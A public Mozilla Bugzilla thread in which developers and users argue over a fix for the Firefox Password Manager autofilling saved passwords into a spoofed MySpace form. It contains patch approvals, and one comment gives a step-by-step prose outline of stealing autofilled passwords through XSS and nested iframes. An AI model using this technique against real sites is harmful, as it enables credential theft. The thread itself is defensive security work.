Jory, that's your call, as long as Gentoo isn't defaulting to official branding enabled... we reached the conclusion that if the fake login page behaves the same as the legit one, users are still just as vulnerable because they'll have no indication that anything is wrong, so autofill being off doesn't really seem to be a win, it just seems to be a hoop to jump through.  That said, for users who really feel vulnerable, we're giving them the option to control the behaviour.

If autocomplete="off" is not matching the IE behaviour (since its a proto-spec at best) please file bugs and we can work on fixing that for Fx3.  Definitely a bug.
(In reply to comment #187)
> it just seems to be a hoop to jump through.

With default of false it should fix the invisible login problem.

> If autocomplete="off" is not matching the IE behaviour (since its a proto-spec
> at best) please file bugs and we can work on fixing that for Fx3.  Definitely a
> bug.

:/  Randomizing the field names would be up to spec.  Oh well.
(In reply to comment #187)
> If autocomplete="off" is not matching the IE behaviour (since its a proto-spec
> at best) please file bugs and we can work on fixing that for Fx3.  Definitely a
> bug.

done, bug 362576 

(In reply to comment #187)
> we reached the conclusion that if the fake login page behaves the
> same as the legit one, users are still just as vulnerable because they'll have
> no indication that anything is wrong, 
> so autofill being off doesn't really seem to be a win, 

here is suggestion to avoid that issue, see bug 362580
but need a GUI change
(In reply to comment #182)
> Despite some of the assertions being made here, URL-based formfill is
> marginally better at best, and is by no means secure against XSS-based attacks,
> which is the real concern, IMO.  If I can execute javascript on a domain, I can
> steal your password even with URL-based formfill, and anyone asserting
> otherwise doesn't understand web security models.
<snip>

I guess then that I don't "understand security models" -

Regardless of whether you can, as you say, "execute JavaScript on the domain" - that is, on some page on the domain - how are you going to execute that JavaScript on the particular page used for sign ins? That is, how are you going to modify the site's sign in page to include your JavaScript?

Anyone who sets up sign in pages such that users can add JavaScript doesn't know what they are doing and there is little that a browser can do to help them.

General comment ----- has anyone considered frames? They are still supported and have valid uses.

How about if someone frames a sign in page? Just thought of that and haven't taken any time to think it through - and won't tonight, too tired to do much more than answer a bit of email and turn in.

Bob Novell
(In reply to comment #191)
> That is, how are you going to modify the site's sign in page to include your JavaScript?

The point is, you can hack a site without modifying the sign in page.  The meaning of the Same Origin Rule is that ANY javascript injection will have full reign on the entire website.  Frames are required to follow the same rules as other pages.
(In reply to comment #192)
> (In reply to comment #191)
> > That is, how are you going to modify the site's sign in page to include your JavaScript?
> 
> The point is, you can hack a site without modifying the sign in page.  The
> meaning of the Same Origin Rule is that ANY javascript injection will have full
> reign on the entire website.  Frames are required to follow the same rules as
> other pages.
> 

I don't see how "ANY JavaScript injection will have full reign on the entire website"

We are talking about the filling in of fields on a particular page on the site. Even if the site allows you to add Javascript to some page on the site (other than the sign in page), how can you get the field values from the sign in page?

We aren't talking about "hacking" a site in general, we are talking about faking out Firefox such that it will provide passwords when it should not do so.

We aren't talking about how a site is designed to conduct a security session with a user - we are only talking about preventing Firefox from  filling in passwords on pages other than those for which they were saved.

Enlighten me if you would on this.

As to frames - I meant that if someone frames a sign in page, would Firefox fill in the fields? The URL/domain of the frame containing the site's form would be the same as if it had been directly accessed - unframed. Would Firefox check the domain or URL of the frameset or the individual frame?

I'd have to think about whether there would be a way to catch the filled in values from Javascript or such in another frame in the frameset....

But, would Firefox be using the frame or the frameset URL or domain to make fill in decisions?

Bob Novell
(In reply to comment #193)
> As to frames - I meant that if someone frames a sign in page, would Firefox
> fill in the fields?

Yes.

> Would Firefox check the domain or URL of the frameset or the individual frame?

Individual frame only.

> I'd have to think about whether there would be a way to catch the filled in
> values from Javascript or such in another frame in the frameset....

If the frames have the Same Origin, yes.  ;)
(In reply to comment #193)
> I don't see how "ANY JavaScript injection will have full reign on the entire
> website"

See comment 38 in this bug and the two bugs Jesse cites.

More generally see http://www.devarticles.com/c/a/JavaScript/JavaScript-Security/
Hi 

#########################

   Bob Novell

#########################


(In reply to comment #193)
> 
> Enlighten me if you would on this.
> 


already mentioned this on Comment #152 

repeating...

if we do password saved for url, still a hacker can steal password.

* Achieve a XSS using http://ha.ckers.org/xss.html or with an undiscovered
hole.
* call that page-1.html
* Now lure user to play Jesse's whack-a-mole game.
* on game site show page-1.html in a <iframe> 
* on page-1.html create onther <iframe> with normal login page of the target
site.
* this will allow  password manager to fill in password
* now page-1.html can access the content of password field in login page 
(same origin policy)
* and page-1.html can send the password to anywhere.

(In reply to comment #196)
> if we do password saved for url, still a hacker can steal password.
> 
> * Achieve a XSS using http://ha.ckers.org/xss.html or with an undiscovered
> hole.

Fist off there is no scripting, so it is not XSS.  Second of all no hacker will do this - only "crackers" 

(In reply to comment #197)
> (In reply to comment #196)
> > * Achieve a XSS using http://ha.ckers.org/xss.html or with an undiscovered
> > hole.
> 
> Fist off there is no scripting, so it is not XSS.  

it is answer to Comment #193 quoting Comment #152, 
so please read both fully 

> Second of all no hacker will do this - only "crackers" 
agree...


PS: a good Project
http://www.owasp.org/index.php/Category:OWASP_Project
My last comment here - 

If the thinking that Firefox should be able to handle questionably designed sites which use URL rewriting or multiple sign in pages wins out here, Firefox will have taken a giant step into mediocrity.

Which is better - to try with a lot of extra code and exceptions to handle every site out there or to provide solid, easily explained security for your passwords, my passwords, and for the passwords of any user of Firefox?

If URL checking "breaks" sites, that is the sites' problem.

I was in the Navy and spent time in Naval Intelligence (and no, that is not an oxymoron) and the idea of providing information to "someone" who appears to be the same as an authorized "person" flie in the face of all security procedures used by the "big guys."

Firefox's Password Manager is simply a feature that tries make it a bit easier for the user. I hope to God that it was never conceived as a feature that will handle each and every type of sign in page that can be dreamed up by the millions of people who create web sites.

Give Firefox tight security or I will abandon Firefox (as I think others will), despite it having some very good features the other guys haven't gotten around to thinking up or implementing.

I am telling all my clients, in writing, to turn off the Password Manager. I explain the problem to them and make it clear that if they continue to use the Password Manager and they, or an employee, gets burned by it, there is no way that I can be responsible for the results.

Use URL checking and never automatically fill in any fields without prompting the user first.

If this breaks some sites, well they will either have to change or their users will simply have to enter passwords manually.

I really cannot understand anyone here who says "hey, I found another site that will break."

Good for them but it has nothing to do with the issue of Firefox security.

As I said, this is my last comment here. Quite frankly, I give up.

If the actual security issue here can't be grasped by many of those commenting on this bug, I can't do anything about it except to stop portraying Firefox as a browser committed to good, tight, well reasoned security.

Good luck to you all.

I sincerely hope that your partial fix - that is where this seems to be headed - does not leave Firefox open to new attacks in the future.

If a new attack succeeds and it can be shown that the attack could have been prevented by correct decision here -- well, I think that means Firefox is simply another run of the mill browser.

That is not the way Firefox was presented to the world.

Firefox was going to do things right. Firefox was going to be secure. Firefox was going to stand out among the crowd of browsers.

Will any of that actually come true? I have my doubts.

In just a couple of days of using 2.0, I have encountered bugs which are in areas which should have been nailed down long ago.

I won't go into details here since it is not appropriate. I'll give quick descriptions of a couple of them.

1) More often than not, if I have scrolled down on a page and then I click something - a link, a check box, just about any "active" item, Firefox does not correctly handle the "click" - instead of following the link, checking or unchecking the check box, or such, Firefox takes me back to the top of the page. This is the type of bug I would expect to see in a first release of a product. I suspect that someone fixing or adding something made changes which caused this bug. It did not occur in the 1.5 version I was using prior to installing 2.0. Anytime you are changing code, you must be sure that you don't create new problems.

2) With the default settings - as installed from the download file - Firefox will attempt to create multiple dial-up connections at startup. Dial-up is still used by the majority of Internet users, broadband use is growing but it is still used by a minority of Internet users. I had to deactivate every action which results in a connection to prevent Firefox from creating more than one connection at startup (and it took quite a while to find them all). I also don't like Firefox - due to the default settings - trying to go online until I actually request a remote URL. All of the auto update, phishing protection, and such result in connections at start up. It should be easy to postpone such actions until the user actually requests a remote URL and a connection has been created. And by no means should Firefox be trying to create multiple dial-up connections - everyone after the first will fail with error messages requiring user action for the simple reason that the port on which the modem is installed will be in use.

Firefox, as delivered, tries to go online even if you are opening a local page - say by double clicking a file in the Windows Explorer. There are a lot of applications which use HTML "help" files (I don't mean compiled Help files, I mean simply HTML files) and this will result in Firefox trying to create a connection when an applications opens a file. That is not good and needs to be changed.

I will search to see if these bugs are already reported and will either update them or create new bug reports.

So, good luck to you. I have very serious doubts as to whether the real issue of security is fully understood. It seems that many people are more worried about how URL checking might not work for a particular site than about giving a user's password to the wrong web page.

I really can't understand that mentality. 

In case some have lost sight of this - Passwords are important, very important!

Don't let Firefox have even the slightest chance of giving them to the wrong web page.

Even one failure is unexceptionable!

Think that one over - it's not okay for Firefox to get it right some high percentage of the time. Firefox must get it right all the time.

The only way to possibly achieve this is to use URL checking and always prompt before filling in fields.

If this "breaks" sites, those sites will either have to fix themselves or tell their users to live without a Password Manager.

Why is it acceptable for a site to specify autocomplete=false and deprive their users the benefits of a Password Manger but it is not acceptable for Firefox's security designs to deprive the users of a poorly designed site the benefits of a Password Manager?

To repeat - even one failure is too much.

URL checking with prompting before filling fields - that is the only secure way to go.

And yes, there may be ways for a person who can run Javascript on a site to get around that, but that is the site's problem, not Firefox's.

Would you think it necessary to be able to handle a site which has totally wrong security design? A site where users could customize their sign in page with the addition of anthing they want?

I hope the answer is no.

Firefox should be secure and then take the lead in teaching people how to design and implement good, solid security.

Let's have the poorly designed sites improved. Let's not downgrade Firefox's security by trying to be everything to ever site.

Good luck.

Bob Novell
(In reply to comment #199)
> Why is it acceptable for a site to specify autocomplete=false and deprive their
> users the benefits of a Password Manger but it is not acceptable for Firefox's
> security designs to deprive the users of a poorly designed site the benefits of
> a Password Manager?
not to stray off-topic here, but this "acceptable" behavior can be overridden by setting wallet.crypto.autocompleteoverride to true. apparently though, it was intentionally disabled in firefox only (bug 245333) due to some bogus reasoning about banks "boycotting" the browser. regardless, i'm of the opinion that more often than not, the user is responsible for their actions – not their browser. if you get burned for being careless, tough. better luck next time.
(In reply to comment #200)
> not to stray off-topic here, but this "acceptable" behavior can be overridden

That is good to know, and I think it is relevant to this bug.

(In reply to comment #199)
Bob, I have appreciated the thoroughness of your comments here.  I am now more aware than ever of the disparity between W3C URL recommendations, Javascript boundaires, idealistic security reasoning, and practical server-side issues.  This does represent the seed of most vulnerabilities found in dynamic web content today.

(In reply to comment #69)
As I understand the staff comments so far, Mozilla plans to add a check on the form action attribute, add a non-default option to disable password autofill, and not (?) change the PM UI features.  Because I am new to Bugzilla, I need to say, the decision-making process in this bug seems to be hidden between the lines.

(In reply to comment #178)
I am recommending a change in Firefox 2.0.0.1 to include the new UI control feature described in Comment #177.

This stems from Comment #80; Most other proposed solutions ignore "practical complexities".

(In reply to comment #179)
I also agree with "using the most restrictive by default".  Yes, it would mean a click on a different button is needed for websites that do not conform to W3C URL notes.  However, the restrictive option is the correct default, and this feature will succinctly inform the user of this restriction.

By contrast, current behavior does not inform the user that the PM can aid cross-contamination of credentials in ways that IE would prevent.

(In reply to comment #186)
> WIP (breaks existing profiles - dataloss == bad)

Am I correct in thinking the WIP could include a member called mPath that would be null when the user chooses to ignore it?
I find it stunningly amazing how many commentaries here put more weight on:

- user's own responsibility
- keeping PM working as before
- not breaking PM with some poorly designed sites
- trying not to have to make any UI changes to the PM (too inconvenient?)
- trusting site ownsers to only place "good" HTML on their servers


INSTEAD of actually getting to the center of the matter:

-> passwords in PM can be STOLEN without the user knowing it or DOING anything
The only way a so-called "responsible" person can prevent this 100% is not to use PM at all!
-> If this is what some commenters are getting at - WHY is there a PM in Firefox at all???
Additionaly, this is a quite serious issue - there's no Security warning on the official Firefox site?? (if I understand correcty it's already been exploited on Okrut?) 


Also keep in mind: At the moment it's embarrassingly easy to steal passwords
-> At least make it much harder to do so
-> At least make it necessary for the user to interact with PM before filling anything out


Conclusion:
These's a lot of "beating around the bushes" here instead of actual solving
-> At least that's my impression reading these comments


My 2 cents (and I'll spam no more here)
Comment on attachment 247108 [details] [diff] [review]
step 1: allow disabling autofill via a hidden pref

I need a new patch (forthcoming soon) for 1.8.0.9
Attachment #247108 - Flags: approval1.8.1.1?
changes prefname to prefillForms per dveditz's feedback
Attachment #247427 - Flags: review?(gavin.sharp)
Attachment #247427 - Flags: approval1.8.0.9?
Attachment #247108 - Attachment is obsolete: true
Attachment #247428 - Flags: approval1.8.1.1?
Attachment #247108 - Flags: approval1.8.1.1?
Attachment #247430 - Flags: review?(gavin.sharp)
Attachment #247430 - Flags: approval1.8.0.9?
Attachment #247427 - Attachment is obsolete: true
Attachment #247427 - Flags: review?(gavin.sharp)
Attachment #247427 - Flags: approval1.8.0.9?
Attachment #247430 - Attachment description: better place for the second check (1.5 branch patch → better place for the second check (1.5 branch patch)
even better

measure twice, cut once, damnit
Attachment #247430 - Attachment is obsolete: true
Attachment #247432 - Flags: review?
Attachment #247432 - Flags: approval1.8.0.9?
Attachment #247430 - Flags: review?(gavin.sharp)
Attachment #247430 - Flags: approval1.8.0.9?
(In reply to comment #201)
> (In reply to comment #69)
> As I understand the staff comments so far, Mozilla plans to add a check on the
> form action attribute, add a non-default option to disable password autofill,
> and not (?) change the PM UI features.  Because I am new to Bugzilla, I need to
> say, the decision-making process in this bug seems to be hidden between the
> lines.

This hasn't been a good place to have a reasonable discussion due to the volume of advocacy comments, so a number of Firefox developers and mozilla.org security-group members have been involved in separate discussions.  Not that different from a typical security bug, except that because this was posted publicly everyone started throwing their $0.02 into the mix.
 
> (In reply to comment #178)
> I am recommending a change in Firefox 2.0.0.1 to include the new UI control
> feature described in Comment #177.

This can ship in 2.0.0.1 if we ship it in six to eight weeks, since we don't have translators on staff who will magically translate into 50 languages.  Not to mention that I think its a bad idea for the majority of users, and that same-origin means that URL vs. domain is only useful in cases where content is being filtered, in which case password fields should be filtered too.
 
> (In reply to comment #179)
> I also agree with "using the most restrictive by default".  Yes, it would mean
> a click on a different button is needed for websites that do not conform to W3C
> URL notes.  However, the restrictive option is the correct default, and this
> feature will succinctly inform the user of this restriction.

Up until they learn to automatically click the button, and stop being aware of it as anything other than something to click through.

> By contrast, current behavior does not inform the user that the PM can aid
> cross-contamination of credentials in ways that IE would prevent.

We're changing current behaviour, so this is kinda irrelevant.

> (In reply to comment #186)
> > WIP (breaks existing profiles - dataloss == bad)
> 
> Am I correct in thinking the WIP could include a member called mPath that would
> be null when the user chooses to ignore it?

Its certainly possible, were such a restriction somehow deemed worth attempting.  As I said previously, if someone can show me a testcase where host+path filtering would block a hole that host filtering wouldn't, I'll be glad to reconsider my plans.
Attachment #247432 - Flags: review? → review?(gavin.sharp)
Comment on attachment 247432 [details] [diff] [review]
round 3 for 1.5 :-/

>Index: toolkit/components/passwordmgr/base/nsPasswordManager.cpp

|nsAutoString buffer;| should be in the if (prefillForm) too, r=me with that.
Attachment #247432 - Flags: review?(gavin.sharp) → review+
For the record, here's my thinking to date:

If the potential attacker can use javascript, same-origin allows that attacker to just load the login page and inject content with document.write.  And even if we don't prefill, its still going to be an effective phish that won't be easily detectable by end users, or by the browser, since those techniques are all legitimate and have real-world uses that cannot be broken without breaking a lot of sites.  The answer, for sites that allow untrusted content, is to have a separate login domain.  Doesn't stop users from getting phished, since users who trust myspace may not know or care what the difference between login.myspace.com and myspace.com, but hopefully we can use anti-phishing effectively (or these sites can aggressively delete attempted phishing sites).

If the attacker cannot use javascript because of content filtering, the site should be filtering password forms as good practice.  If the site screws that up, like Myspace and apparently Orkut have done, ensuring that we disable pwmgr when the form action points to a different site means that attackers can't do tricks like the second testcase from Robert.  Its still something that the site doing the content filtering should be blocking, but we're trying to plug the gap in the site's content filtering since it seems like some sites are vulnerable..

based on that reasoning, I think the WIP approach is as solid as we can make this in the face of imperfect content filtering, and the reality of javascript and same-origin.  If someone wants to suggest a way in which the WIP patch can be bypassed without JS, please please demonstrate with a testcase.
Being more restrictive is a good practice, but only to the point where it is effective.  If URL vs. domain is more effective, and I'm asserting that in the cases we can stop it is not, then we can do that trivially, and even make it a pref.

Its not just about badly designed sites, one technique I've used in building webapps is to post back to the exact same URL, and check login before loading/displaying content.  Imagine the following pseudocode check at the beginning of a PHP pageload, where the login form action is set to the page URL.

$loggedIn = checkLogin();
if (!$loggedIn)
  showLoginContent();
else
  showPageContent();

Rather than redirect, and passing the URL as an arg to the page, then including that URL as an arg to the login form, then redirecting back to the URL if the login succeeds, you can simply check the POST content for the user/pass, and if the login succeeds, show the page without redirecting.  A much smoother process than current redirect-heavy webapps, and not at all insecure.  I don't think that's an insecure site design (unless I allowed user-created content, of course) and I don't think we should break that type of interaction model.
Comment on attachment 247428 [details] [diff] [review]
step 1 with better prefname (2.0 branch)

>-  // can then register that singleton instance as a form submission observer.
>+  // can then register that singleton instance as a form submission 			.

Please restore this comment. With that, approved for the 1.8 branch a=dveditz for drivers

And land on trunk.
Attachment #247428 - Flags: approval1.8.1.1? → approval1.8.1.1+
Comment on attachment 247432 [details] [diff] [review]
round 3 for 1.5 :-/

Approved for 1.8.0 branch, a=jay for drivers.  Please land this ASAP.  Thanks!
Attachment #247432 - Flags: approval1.8.0.9? → approval1.8.0.9+
checked in on branches, already landed on trunk, forgot to comment (and I need to fix the prefname...)

I know its not really fixed, but QA needs the keywords to verify the patch added.
Flags: blocking1.8.1.2+
(In reply to comment #214)
> checked in on branches, already landed on trunk, forgot to comment (and I need
> to fix the prefname...)
> 
> I know its not really fixed, but QA needs the keywords to verify the patch
> added.

I've had this problem with my bugs too, and the only fix is to file a new bug for the "real" fix.

/be
Depends on: 362779
(In reply to comment #208)
> > I am recommending a change in Firefox 2.0.0.1 to include the new UI control
> > feature described in Comment #177.
> 
> This can ship in 2.0.0.1 if we ship it in six to eight weeks, since we don't
> have translators on staff who will magically translate into 50 languages.  Not
> to mention that I think its a bad idea for the majority of users, and that
> same-origin means that URL vs. domain is only useful in cases where content is
> being filtered, in which case password fields should be filtered too.

I think we are starting to confuse origin trust with privacy trust.  There does come a point where the user should control their information not because it can be stolen, but because the scope of trust needs to be narrow.  Currently, the browser offers a yes/no option to save a password, but in no way informs the user of the rules concerning the use of that password.  I am suggesting that we add a third option to make the PM *more* useful.

> > URL notes.  However, the restrictive option is the correct default, and this
> > feature will succinctly inform the user of this restriction.
> 
> Up until they learn to automatically click the button, and stop being aware of
> it as anything other than something to click through.

If that is a real concern, then the default could be customizable.  If a user wants to make all passwords domain-global, then maybe they should be forced to configure it that way.

> > By contrast, current behavior does not inform the user that the PM can aid
> > cross-contamination of credentials in ways that IE would prevent.
> 
> We're changing current behaviour, so this is kinda irrelevant.

The proposed solution does not change the possibility of intra-domain contamination.  Nothing could be more relevant, so let's consider it.

> As I said previously, if someone can show me a testcase where
> host+path filtering would block a hole that host filtering wouldn't, I'll be
> glad to reconsider my plans.

In comments nos 173 through 175, several examples were given of situations that make the domain-global scheme highly ambiguous.  These are not simply "bad sites" or XSS problems.  These are very common website configurations that are in use around the world.  To say the PM should ignore the privacy risk in these websites because of scripting rules is an oversimplification of the issue.  These examples represent situations where the Same Origin Rule is *not* broken because there could be multiple websites on the same domain operated by one authority.

I realize this now treads on Bug #263387.  But as you are aware, Internet Explorer is already designed to mitigate these risks, which is why the IE PM was not invoked during the MySpace attack.

So we need to be clear:  If Firefox continues to use the domain-global security scheme as the only option, it is not only because of the Same Origin Rule, but also because the cross-contamination privacy risks are deemed acceptable by Mozilla.
Attached file same-domain testcase
I don't have IE atm, but please log in with IE and save the password, then log out and try the testcase (I could use iframe.src to force a logout, and I could obscure the iframe as well, but this is meant to demonstrate the reason URL vs. same domain is largely useless if script and iframes 

This works on Camino and Safari as well.
I know that I said I would not adding any more comments but -- 

I was reading this entire page and happened to go check the page at MySpace for which this was originally reported - http://www.myspace.com/1sweetstar - and was shocked to find that it is still doing XSS to try and get passwords - at least the form action still points to another domain - lycos.

I entered garbage for email and password and was taken to a site on lycos.fr

Wasn't MySpace warned about this page?

If not, why not?

Bob Novell
(In reply to comment #219)
> I know that I said I would not adding any more comments but -- 
> 
> I was reading this entire page and happened to go check the page at MySpace for
> which this was originally reported - http://www.myspace.com/1sweetstar - and
> was shocked to find that it is still doing XSS to try and get passwords - at
> least the form action still points to another domain - lycos.
> 
> I entered garbage for email and password and was taken to a site on lycos.fr
> 
> Wasn't MySpace warned about this page?
> 
> If not, why not?
> 
> Bob Novell
> 


Meant to add:

I don't read French and maybe the page was telling me that the site with the XSS script wasn't found - as in they took it down when the problem was reported.

Regardless, the MySpace page still exists.

Has MySpace been warned about this problem so that they can at least take some action, such as preventing scripting on their pages?

Bob Novell
(In reply to comment #220)
> (In reply to comment #219)
> > I know that I said I would not adding any more comments but -- 

see comment 113. that's no longer a password field, and if that doesn't raise a red flag for a user (hey, how come i can see what i'm typing?), then i think we're pretty much lost here.
ALSO, this issue has NOTHING to do with XSS. it simply used an action URL on a domain different from the one on which the form was located. the french simply says that the page http://membres.lycos.fr/adel88duran/plaguedoctor.php could not be found (404 error)
(In reply to comment #221)
> (In reply to comment #220)
> > (In reply to comment #219)
> > > I know that I said I would not adding any more comments but -- 
> 
> see comment 113. that's no longer a password field, and if that doesn't raise a
> red flag for a user (hey, how come i can see what i'm typing?), then i think
> we're pretty much lost here.
> ALSO, this issue has NOTHING to do with XSS. it simply used an action URL on a
> domain different from the one on which the form was located. the french simply
> says that the page http://membres.lycos.fr/adel88duran/plaguedoctor.php could
> not be found (404 error)
> 

Right - I just translated it.

As to calling it XSS, my mistake. Should have called it what it is - A ross domain attack based upon serious design flaw in Firefox Password Manager.

As to it not being a password field - we are talking about millions of users whose knowledge runs from just being able to turn on their computer and get on the Web to those who fully understand everything about the web.

We must protect those who cannot protect themselves.

You and I? Well, we can probably protect ourselves - maybe, at least until some bright lad comes up with an attack that even makes us a victim also.

The strictest testing possible should be used.

This is a matter of securing passwords. All the talk of "breaking sites", having webmasters improve their sites, and such is totally irrelevant.

Securing passwords should be the priority. If the PM is not modified to only provide a password to the page for which it was saved and to prompt the user before filling in any fields, Mozilla should be prepared to explain this to the public - in no uncertain terms.

As said by Robert Chapin in comment 216 https://bugzilla.mozilla.org/show_bug.cgi?id=360493#c216 --

"So we need to be clear:  If Firefox continues to use the domain-global security scheme as the only option, it is not only because of the Same Origin Rule, but also because the cross-contamination privacy risks are deemed acceptable by Mozilla."

Is Mozilla really willing to officially make that sort of statement to the public?

I hope not.

Bob Novell
a) If its not a password field, we don't think its a password field, and thus don't fill the password.

b) Why is it still up?  Ask Myspace.  They certainly fixed their content filter to block this abuse of their domain, which is as expected.

c) Having a single login page that you will allow formfill on is a mostly-worthless attempt at mitigation.  If I can run script on a domain, I can get your password from that domain, just by loading the exact login page and pulling form values via javascript.

I'm not saying we should ignore the potential for problems on sites like myspace, I'm saying we have to understand what form the attacks might take, and mitigate them as much as possible.  But once script on the same domain is part of the picture, any entry of data into a form (this goes beyond passwords and into stuff like credit cards on the shared SSL site mentioned earlier).

I don't believe in denying user convenience unless it makes a real difference.  If that difference is trivially bypassed in most cases, its insane to make users do more work for effectively zero benefit.  Same-origin means privacy risks, if you have private data on the same domain as uncontrolled script.  You don't even need to do anything, you just need to open one page with the malicious script and via hidden iframes you lose any data accessible from the web.
(In reply to comment #216)
> (In reply to comment #208)
> > > I am recommending a change in Firefox 2.0.0.1 to include the new UI control
> > > feature described in Comment #177.
> > 
> > This can ship in 2.0.0.1 if we ship it in six to eight weeks, since we don't
> > have translators on staff who will magically translate into 50 languages.  Not
> > to mention that I think its a bad idea for the majority of users, and that
> > same-origin means that URL vs. domain is only useful in cases where content is
> > being filtered, in which case password fields should be filtered too.
> 
> I think we are starting to confuse origin trust with privacy trust.  There does
> come a point where the user should control their information not because it can
> be stolen, but because the scope of trust needs to be narrow.  Currently, the
> browser offers a yes/no option to save a password, but in no way informs the
> user of the rules concerning the use of that password.  I am suggesting that we
> add a third option to make the PM *more* useful.

I disagree that it's more useful.  Having an option that is trivially worked around
on any site without content filtering means that the option is largely meaningless, 
other than to suggest a false sense of security.

> > > URL notes.  However, the restrictive option is the correct default, and this
> > > feature will succinctly inform the user of this restriction.
> > 
> > Up until they learn to automatically click the button, and stop being aware of
> > it as anything other than something to click through.
> 
> If that is a real concern, then the default could be customizable.  If a user
> wants to make all passwords domain-global, then maybe they should be forced to
> configure it that way.

Why?  Because users who choose less security matter less?  Shifting blame to the 
user is the only thing this accomplishes, while not actually doing much to protect them.

> > > By contrast, current behavior does not inform the user that the PM can aid
> > > cross-contamination of credentials in ways that IE would prevent.
> > 
> > We're changing current behaviour, so this is kinda irrelevant.
> 
> The proposed solution does not change the possibility of intra-domain
> contamination.  Nothing could be more relevant, so let's consider it.

Intra-domain contamination exists on every site that doesn't have content filters.  
Those sites which do content filtering explicitly to address this because they're 
allowing untrusted users to submit content.

> > As I said previously, if someone can show me a testcase where
> > host+path filtering would block a hole that host filtering wouldn't, I'll be
> > glad to reconsider my plans.
> 
> In comments nos 173 through 175, several examples were given of situations that
> make the domain-global scheme highly ambiguous.  These are not simply "bad
> sites" or XSS problems.  These are very common website configurations that are
> in use around the world.  To say the PM should ignore the privacy risk in these
> websites because of scripting rules is an oversimplification of the issue. 
> These examples represent situations where the Same Origin Rule is *not* broken
> because there could be multiple websites on the same domain operated by one
> authority.

Those are sites that I would consider dangerous ground, especially the one that
sounds a little like an e-commerce site.  The PM cannot override same-origin 
attacks, so I find it hard to justify making the behaviour less convenient for 
no major benefit.

> I realize this now treads on Bug #263387.  But as you are aware, Internet
> Explorer is already designed to mitigate these risks, which is why the IE PM
> was not invoked during the MySpace attack.

I was playing with IE7, and managed to save the same test password four times in 
less than five minutes.  If the site doesn't remember the password, at that rate
you're unlikely to bat an eye at typing things in again after a while, so even
if the myspace attack doesn't get help from password manager, there's no 
indication that something is wrong.  For Fx 3.0, the plan is to alert users
that there's a bad match so they can be aware that something isn't kosher, rather 
than just assuming the browser lost the saved password again.  That of course is 
just a single example.

> So we need to be clear:  If Firefox continues to use the domain-global security
> scheme as the only option, it is not only because of the Same Origin Rule, but
> also because the cross-contamination privacy risks are deemed acceptable by
> Mozilla.

You're asserting that we can somehow protect users in the face of same-origin 
scripting?  Please enlighten me as to how you intend to accomplish this.  The 
testcase I attached would match the URL and action URL perfectly, but would 
still give the attacker your password.

The bottom line is that entering a password in an HTML form is not secure.  We can
mitigate in a number of wasys, but we cannot absolutely secure any site that has 
poor security practices.
(In reply to comment #224)
> You're asserting that we can somehow protect users in the face of same-origin 
> scripting?

Mike, the concerns we have presented are not related to scripting.
Robert, if scripting isn't part of the problem, then we're essentially talking about cases where content filtering doesn't work (i.e. the original MySpace attack).  In that case, matching the hostname for the action URL should be sufficient to block those attacks.  If you have another form of your testcase that defeats that added filtering, please explain it or attach it so I can test against it...
I'm not really happy with the solution here I must say.

If there are XSS issues I agree that the compromised site is hosed anyway. You don't need the password to do things like transfer money other evil things, you can just do it in javascript right there.

However, stealing the password is likely one step worse, since it is very likely that the user uses the same password on other sites. So this way having myspace be compromised could compromise the users bank and other worse sites.

Basically, the password manager manager can be used as privilege escalation.

I think the only solution to this is to use the multi-login UI always. That should also remove concerns about not using the entire URL as key.
(In reply to comment #226)
> In that case, matching the hostname for the action URL should be
> sufficient to block those attacks.  If you have another form of your testcase
> that defeats that added filtering, please explain it or attach it so I can test
> against it...

One of the examples mentioned already is www.domain.com/domain2.com/  This is a very common path scheme.  So, saving a password at the domain2 page has unpredictable, in fact, unlimited consequences on any other page hosted in the path scheme.  We can debate all day long about who gets what access and the XSS implications, but that is not the point.  Firefox PM can't adequately protect the credentials in this case unless they are made path-specific.  This situation is also common and complicated enough that the average user is oblivious to it.
Attached patch Flip the prefSplinter Review
Got r=mconnor on irc
Attachment #247913 - Flags: review+
Attachment #247913 - Flags: approval1.8.1.1?
Attachment #247913 - Flags: approval1.8.0.9?
Comment on attachment 247913 [details] [diff] [review]
Flip the pref

a=schrep/mconnor (discussed over irc)
Attachment #247913 - Flags: approval1.8.1.1?
Attachment #247913 - Flags: approval1.8.1.1+
Attachment #247913 - Flags: approval1.8.0.9?
Attachment #247913 - Flags: approval1.8.0.9+
Always showing the multi-username password manager UI is not a good solution, for reasons I mentioned in comment 19.  Here's one more reason:

* New exploit 3: "Learn your Star Wars name!  Enter your username:".  Many users will type their username, not because they're trying to log in using the form, but because they want to find out their Star Wars name (or porn star name, etc).
Maybe one thing we could do in the sort term (.2) is to make sure we don't autofill until we have checked if the url is marked as a phising-url...
(In reply to comment #228)
> (In reply to comment #226)
> > In that case, matching the hostname for the action URL should be
> > sufficient to block those attacks.  If you have another form of your testcase
> > that defeats that added filtering, please explain it or attach it so I can test
> > against it...
> 
> One of the examples mentioned already is www.domain.com/domain2.com/  This is a
> very common path scheme.  So, saving a password at the domain2 page has
> unpredictable, in fact, unlimited consequences on any other page hosted in the
> path scheme.  We can debate all day long about who gets what access and the XSS
> implications, but that is not the point.  Firefox PM can't adequately protect
> the credentials in this case unless they are made path-specific.  This
> situation is also common and complicated enough that the average user is
> oblivious to it.
> 
I second that notion. Filtering via domain is only going to leave a gaping hole. I'm surprised how many replies were made about the fact that this isn't an XSS attack, when the technicality of it made little-to-no difference to the fact that Firefox has a hole that is being exploited. Worry about patching (and doing so properly), and fight over the non-important when we know that this is fixed.

Would like to say a few other things, but have the capability of self-control.
(In reply to comment #233)
> (In reply to comment #228)
> > (In reply to comment #226)
> > One of the examples mentioned already is www.domain.com/domain2.com/  This is a
> > very common path scheme.

It's not that common, because it is broken.  Livejournal had ~900K accounts jacked due to this hosting mistake.  You now see http://jwz.livejournal.com/, not the old www.lj.com/jwz or whatever it was.

Cookies are shared by domain.  JavaScript's same-origin rule ignores path and uses only domain name along with URI scheme and port.  And so on.  It is pure folly to use the same domain name to host mutually suspicious web content; it is unsound, period, end of story.  Therefore we shouldn't cater to such broken content, nor should any browser (and none do or can, without changing how cookies are shared and how JS security works, an incompatible change that would break the Web).

Jesse makes good points against a band-aid that will fall off, and that does not cover the wound.  We need to avoid knee-jerk reactions.  If you don't want form autofill, the preference being added can be set to false.  But Firefox has done autofill since 1.0 and it should not regress usability in 2.0.0.1 because of a fixed Myspace user-generated content filtering mistake.

